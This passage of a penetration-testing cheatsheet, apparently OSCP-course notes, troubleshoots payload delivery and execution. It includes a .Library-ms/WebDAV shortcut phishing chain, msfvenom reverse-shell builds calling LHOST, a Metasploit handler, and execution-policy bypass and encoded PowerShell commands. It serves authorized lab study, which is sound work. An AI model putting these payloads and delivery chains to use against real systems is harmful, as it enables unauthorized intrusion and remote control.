10.7 Payload Execution Obstacles Cheatsheet

Need: A recorded delivery/execution chain with the expected consumer and effect. Compatible Windows consumer, reachable WebDAV resource, correctly handled shortcut and required user launch; policy permits the action

A .Library-ms file is an XML library description that can present a remote location in Explorer. The PEN-200 attack pattern is two-stage:

delivered .Library-ms
→ user opens library
→ Explorer reaches WebDAV location
→ user opens .lnk
→ shortcut launches chosen command
→ optional download/callback

If WsgiDAV is already installed, publish a dedicated authorized-lab directory:

mkdir -p webdav
wsgidav --host=0.0.0.0 --port=80 \
  --root=./webdav --auth=anonymous

Original library template using placeholders:

<?xml version="1.0" encoding="UTF-8"?>
<libraryDescription xmlns="http://schemas.microsoft.com/windows/2009/library">
  <name>@windows.storage.dll,-34582</name>
  <version>1</version>
  <isLibraryPinned>true</isLibraryPinned>
  <iconReference>imageres.dll,-1002</iconReference>
  <templateInfo>
    <folderType>{7d49d726-3c21-4f05-99aa-fdc2c9474656}</folderType>
  </templateInfo>
  <searchConnectorDescriptionList>
    <searchConnectorDescription>
      <isDefaultSaveLocation>true</isDefaultSaveLocation>
      <isSupported>false</isSupported>
      <simpleLocation>
        <url>http://LHOST/</url>
      </simpleLocation>
    </searchConnectorDescription>
  </searchConnectorDescriptionList>
</libraryDescription>

Save it with a .Library-ms extension. Windows may add a serialized location after opening it; retain a clean source copy and inspect the final artifact before delivery.

Create a shortcut on a controlled Windows preparation host:

$shortcutPath = 'C:\PATH\webdav\ACTION.lnk'
$shell = New-Object -ComObject WScript.Shell
$shortcut = $shell.CreateShortcut($shortcutPath)
$shortcut.TargetPath = "$env:SystemRoot\System32\cmd.exe"
$shortcut.Arguments = '/c whoami > %TEMP%\oscp-marker.txt'
$shortcut.WorkingDirectory = $env:TEMP
$shortcut.IconLocation = "$env:SystemRoot\System32\imageres.dll,11"
$shortcut.Save()

Only after the harmless marker works, substitute a command compatible with the target and the separately proven callback route. Diagnose this chain at three independent network points:

Explorer → WebDAV
shortcut command → optional payload/download server
executed payload → listener/handler

Failure cues:

Verify: Verify the launched command's identity/effect and distinguish WebDAV requests from execution.

If it fails: Unavailable WebDAV client, blocked remote path, missing shortcut interaction or policy can stop the chain before a callback.

Need: A recorded delivery/execution chain with the expected consumer and effect. Matching OS/process architecture, interpreter/loader/runtime, intact bytes, execute/destination permissions and compatible format

The file extension is not the execution contract. Record all of these:

target OS and build
target process architecture
artifact format
loader/interpreter
execution identity and integrity
working directory and PATH
required runtime/libraries
arguments and quoting
network direction
handler protocol

10.7.14.1.5.1 Check whether the artifact can execute in the Linux environment Linux checks

uname -a
uname -m
file PAYLOAD
readelf -h PAYLOAD | sed -n '1,25p'
ldd PAYLOAD
ls -l PAYLOAD
findmnt -T /PATH/TO/PAYLOAD
head -n 1 SCRIPT

Common interpretations:

• Exec format error: wrong format/architecture or invalid interpreter line;
• Permission denied: missing execute permission, inaccessible parent directory, noexec, policy or identity issue;
• No such file or directory when the file exists: missing dynamic loader or broken shebang interpreter;
• missing shared object: runtime library mismatch;
• ^M in a shebang: CRLF line endings changed the interpreter path;
• works interactively but not through cron/service: environment, working directory, shell, identity or route differs.

10.7.14.1.5.2 Check whether the artifact matches the Windows execution environment Windows checks

Get-CimInstance Win32_OperatingSystem |
  Select-Object Caption,Version,BuildNumber,OSArchitecture

[Environment]::Is64BitOperatingSystem
[Environment]::Is64BitProcess
$env:PROCESSOR_ARCHITECTURE
Get-AuthenticodeSignature -FilePath 'C:\PATH\PAYLOAD.exe'

Keep OS architecture and consumer-process architecture separate. A 64-bit OS can run a 32-bit process under WOW64; injected code and DLLs must match the process they enter. A normal executable is not necessarily a service executable, DLL, MSI or script:

Verify: Verify matching bytes, consumer and actual minimal execution effect; on Windows inspect PE architecture/runtime and resulting process.

If it fails: Permission, mount policy, CRLF/shebang, missing runtime and architecture mismatches require different fixes.

Need: A recorded delivery/execution chain with the expected consumer and effect. Known outer request/template/database parser and inner shell; correct character encoding and transport length

Write the real chain:

document/shortcut or HTTP/SQL/template input
→ application parser
→ VBA/WScript/application runtime
→ cmd.exe /c, /bin/sh -c or PowerShell
→ final command/payload

Start with a short marker at every layer. Check:

• quote ownership at each layer;
• expansion of %VAR%, $VAR and PowerShell variables;
• metacharacters such as &, |, <, >, ;, backticks and parentheses;
• URL/JSON/XML/Base64 decode count;
• command-line, VBA-string, request-field or exploit-buffer length;
• current directory and relative paths.

PowerShell encoded-command preparation:

$command = 'COMMAND'
$bytes = [Text.Encoding]::Unicode.GetBytes($command)
[Convert]::ToBase64String($bytes)

powershell.exe -NoProfile -NonInteractive -EncodedCommand BASE64_UTF16LE

-EncodedCommand uses UTF-16LE. It solves some transport/quoting problems; it is not encryption and does not establish antimalware evasion.

Write the parser chain explicitly:

HTTP/SQL/template parser
→ application language
→ command launcher (`system`, `cmd /c`, `/bin/sh -c`, PowerShell)
→ target shell/interpreter
→ payload command

Test each layer with a small command. Encode only for the layer that consumes the characters:

python3 -c 'import urllib.parse; print(urllib.parse.quote("COMMAND"))'

Typical failures:

• &, |, >, <, $, backticks, quotes or spaces consumed by an outer shell;
• URL decoding occurs zero, one or two times;
• JSON, XML, SQL or template quoting changes the command;
• PowerShell receives UTF-8 Base64 instead of required UTF-16LE;
• payload length exceeds a field, command line or exploit buffer;
• 32-bit payload is injected into a 64-bit context or the reverse.

Verify: Verify received/executed command behavior at each parser boundary with small discriminating tests.

If it fails: Truncation, double decoding or mismatched shell syntax should not be treated as missing network connectivity.

Need: A recorded delivery/execution chain with the expected consumer and effect. Actual host policy/language context and a supported allowed execution route; required runtime features remain available

Do not merge these different controls:

Read-only checks:

Get-ExecutionPolicy -List
$ExecutionContext.SessionState.LanguageMode

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,
    BehaviorMonitorEnabled,IoavProtectionEnabled,AntivirusSignatureVersion

Get-MpThreatDetection |
  Select-Object InitialDetectionTime,ThreatID,ActionSuccess,Resources

Get-AppLockerPolicy -Effective -Xml

Get-WinEvent -LogName 'Microsoft-Windows-Windows Defender/Operational' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,LevelDisplayName,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/EXE and DLL' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Get-WinEvent -LogName 'Microsoft-Windows-AppLocker/MSI and Script' `
  -MaxEvents 50 -ErrorAction SilentlyContinue |
  Select-Object TimeCreated,Id,Message

Cmdlets, logs and fields vary by edition, installed modules, permissions and control product. Missing output is inconclusive.

Execution policy is defense in depth, not a Windows security boundary. A process-scoped policy setting may change script-loading behavior when GPO does not override it:

powershell.exe -NoProfile -ExecutionPolicy Bypass -File C:\PATH\SCRIPT.ps1

This does not disable AMSI, application control, antimalware, permissions or network controls. Do not change persistent machine/user policy merely to test a payload.

Verify: Record the exact failing layer and demonstrate the chosen permitted operation's actual effect.

If it fails: A language-mode error, antimalware block and script policy message require different next decisions.

Need: A recorded delivery/execution chain with the expected consumer and effect. Observable evidence at the relevant boundary and a compatible alternative whose own prerequisites hold

Modern protection can inspect files, scripts after decoding, process memory, behavior and network activity. Therefore:

• changing a filename does not imply a new payload;
• Base64 does not imply concealment from AMSI;
• an in-memory technique is not automatically invisible;
• an encoder is primarily useful for transport/bad-character constraints, not guaranteed AV bypass;
• a clean third-party scanner result does not prove execution on the target and may disclose a private sample.

Prefer the least complex route already supported by evidence: a direct command, native interpreter, authenticated management service or simple command shell may meet the objective without a custom binary. Deep shellcode development, process-injection implementation and generalized AV-bypass recipes are outside this speedrun.

Windows Defender status, when the current identity can query it:

Get-MpComputerStatus |
  Select-Object AntivirusEnabled,RealTimeProtectionEnabled,BehaviorMonitorEnabled,IoavProtectionEnabled

Do not label every failure “AV.” Differentiate:

• file never arrived or hashes differ;
• file arrived and disappeared/quarantined;
• process creation was denied;
• script content was blocked;
• process started and exited/crashed;
• callback was blocked after execution;
• application-control or language-mode restrictions;
• ordinary format, architecture, permission or dependency errors.

Prefer an already available native or authenticated route when it satisfies the objective. Encoding is transport representation, not proof of evasion. Custom shellcode development and deep AV-bypass work are outside this unit.

For MOTW/Office/Library-file delivery, execution-policy precedence, AMSI/AppLocker/Defender evidence and restricted Metasploit module/session handling, continue with payload execution obstacles.

Verify: Tie the observed block to the artifact/process and preserve the exact error/event context privately.

If it fails: No event visibility leaves the diagnosis inconclusive. Deep control-bypass development is not added through troubleshooting.

Need: A recorded delivery/execution chain with the expected consumer and effect. Exact payload/architecture/transport pairing, correct listener binding, reachable staging path and suitable job/session configuration

msfvenom -l payloads | grep -E 'linux|windows' | grep -E 'x64|x86'
msfvenom --list formats
msfvenom -p PAYLOAD_NAME --list-options

Baseline stageless command shells:

msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f elf -o shell.elf

msfvenom -p windows/x64/shell_reverse_tcp \
  LHOST=LHOST LPORT=LPORT \
  -f exe -o shell.exe

file shell.elf shell.exe
sha256sum shell.elf shell.exe

Existing reviewed PoC with documented byte restrictions:

msfvenom -p PAYLOAD_NAME \
  LHOST=LHOST LPORT=LPORT \
  EXITFUNC=thread \
  -f FORMAT -v VARIABLE \
  -b 'BAD_CHARACTERS' -s MAX_SPACE

Use EXITFUNC only when the exploit/consumer requires that termination behavior. Never invent bad characters or size limits.

Staging distinction:

windows/x64/shell_reverse_tcp  single/stageless
windows/x64/shell/reverse_tcp  staged

A staged payload first connects and asks its handler for the larger stage. A raw Netcat listener cannot supply that protocol.

Matching handler:

msfconsole -q
use exploit/multi/handler
set PAYLOAD PAYLOAD_NAME
set LHOST LHOST
set LPORT LPORT
set ExitOnSession false
show options
run -j

Manage the resulting job/session deliberately:

jobs -l
sessions -l
sessions -i SESSION_ID
background
sessions -k SESSION_ID
jobs -k JOB_ID

ExitOnSession false keeps the handler available after a session opens. run -j backgrounds the handler. A session ID is local to that framework instance; record the target, identity, payload and listener rather than relying on the number alone.

Handler failure cues:

Verify: Verify the resulting session's host/identity and keep the listener/payload relationship explicit.

If it fails: Wrong payload family, second-stage filtering, listener bind or handler lifecycle can explain the same superficial no-session symptom.

Need: A recorded delivery/execution chain with the expected consumer and effect. A recorded first execution proof, correct advertised route, active compatible listener and observable connection evidence

1. Delivery: prove the request/file/argument reaches the intended consumer.
2. Execution: prove id/whoami, hostname or a bounded side effect in the exact context.
3. Parser: verify quoting, encoding, interpreter, working directory and length.
4. Payload: confirm OS, architecture, format, staged/stageless type and dependencies.
5. Listener: start it first and verify the bound address and port.
6. Route: test target-to-listener reachability from the execution context.
7. Security control: use concrete errors, quarantine, logs or process behavior.
8. Session: repair TTY, buffering, encoding and job control after connection.

Target-side route checks where available:

nc -vz LHOST LPORT
curl -v --connect-timeout 5 http://LHOST:LPORT/

Test-NetConnection LHOST -Port LPORT -InformationLevel Detailed

Observe Kali while triggering:

sudo tcpdump -ni any tcp port LPORT

Interpretation:

1. Reproduce a harmless direct command in the exact vulnerable or user context.
2. Confirm file/request integrity, final path and consumer.
3. Identify every parser, interpreter and loader.
4. Match target OS, process architecture, artifact format and runtime dependencies.
5. Verify permissions, working directory, execution policy and application-control evidence.
6. Start the correct listener/handler and prove its bind.
7. Prove the target-to-listener route separately.
8. Inspect concrete antimalware, application-control and process-failure evidence.
9. Repair session I/O only after a connection exists.

If step 1 fails, this is not yet a payload problem. Return to the exploit, input parser or execution primitive.

10.7.14.1.16.1 A. Document delivered, no callback

Observed: document exists
Unknown: opened, macro permitted, child command, network route
Test: MOTW/policy → harmless marker → child process/download → callback route
Action: repair first failed gate; do not regenerate the payload first

10.7.14.1.16.2 B. Executable disappears after transfer

Observed: transfer response succeeded
Test: destination listing/hash → Defender detection/resource/event
Interpretation: transfer success is not retention; quarantine requires evidence
Action: choose a justified alternate execution form or native route, within scope

10.7.14.1.16.3 C. PowerShell says scripts are disabled

Observed: explicit execution-policy error
Test: Get-ExecutionPolicy -List and GPO precedence
Action: use a process-scoped invocation if allowed; do not call this an AMSI result

10.7.14.1.16.4 D. Connection reaches Netcat but there is no shell

Observed: TCP connection
Test: generated payload name
Interpretation: staged payload may have reached a raw listener
Action: use exact multi/handler or generate a compatible stageless command shell

10.7.14.1.16.5 E. Binary exists but returns “not found” on Linux

Observed: path and file exist
Test: file, readelf interpreter, ldd, shebang
Interpretation: loader/interpreter dependency may be missing
Action: build/choose a compatible artifact; do not change callback settings

10.7.14.1.16.6 F. Metasploit module reports completion, no session

Observed: module ran
Test: exact target profile, payload, callback route, handler output and service state
Interpretation: completion is not verified execution/session
Action: preserve module output and diagnose the first missing state

artifact/request
→ delivered to intended consumer
→ required user/trigger action
→ parser/interpreter/loader
→ process or bounded side effect
→ network connection
→ handler protocol
→ usable session

Do not replace the artifact, payload, listener and route simultaneously. Record the last confirmed boundary and test the next one.

Verify: Use command proof, packet evidence and actual channel behavior to identify the first failed boundary.

If it fails: A timeout alone is inconclusive. Return to the original trigger if execution is unproved; use handler/TTY repair only after the prior state is confirmed.